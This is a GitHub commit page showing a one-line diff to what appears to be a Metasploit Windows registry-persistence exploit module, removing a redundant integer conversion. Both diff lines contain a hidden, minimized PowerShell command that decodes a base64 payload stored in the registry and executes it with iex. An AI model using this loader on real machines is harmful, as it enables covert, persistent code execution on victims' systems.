Skip to content

Commit 3c72135

Browse files
committed
No to_i
What happens here is it converts to a Fixnum, and then it converts back to a String anway because it's in a String.
1 parent a484b31 commit 3c72135

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/local/registry_persistence.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ def generate_payload_blob
6868
end
6969

7070
def generate_cmd(root_path, blob_key_name, blob_key_reg)
71-
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
71+
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
7272
return cmd
7373
end
7474

0 commit comments

Comments
 (0)